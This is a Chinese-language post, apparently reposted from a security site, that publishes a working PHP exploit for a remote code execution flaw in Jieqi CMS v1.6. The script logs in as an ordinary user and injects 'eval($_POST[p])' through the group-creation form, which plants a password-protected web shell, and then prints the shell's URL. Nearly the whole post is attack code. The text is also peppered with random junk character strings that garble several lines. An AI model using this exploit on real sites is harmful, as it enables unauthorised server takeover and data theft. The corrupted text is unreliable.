Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
3 m) A# @6 v2 \4 @% M8 l' `2 z* P 需要有一个能创建圈子的用户。

* \  b( H+ |5 A, N; I8 b<?php

print_r('
' X' }8 D4 R7 e: }0 e6 H+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
2 U8 L* {6 y( j& y" sby flyh4t
. M9 o6 }! n) E6 W0 kmail: phpsec at hotmail dot com
team: http://www.wolvez.org
1 E! e% k! s/ H$ q6 x9 Z+---------------------------------------------------------------------------+
'); /**
- m, o- ]) ]7 W/ S/ K' R4 x. b * works regardless of php.ini settings
* K; x' Z. Z( W4 p+ X+ U*/ if ($argc < 5) { print_r('
- k/ a2 p6 g+ @+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
% G% u: n4 a. @6 ^7 p7 whost:      target server (ip/hostname)
4 i4 Y6 |6 ^0 V% l1 h) t* [path:      path to jieqicms
) W4 |% \& f0 o: h; duasename:  a username who can create group
4 G6 k; P6 F1 c; W1 h4 F3 [Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
0 g/ u9 w$ |- v, v# H+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
0 Y" h9 x8 F2 g# d3 G( ?# l6 UContent-Disposition: form-data; name="gname"

  }! U1 K( y5 T'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
' Y# M. y% z- s& |3 V0 t$ ~! LContent-Disposition: form-data; name="gcatid"
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( }) Y; x' M! I. p# t8 ^-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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# H) S/ j/ a/ M: e5 Jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;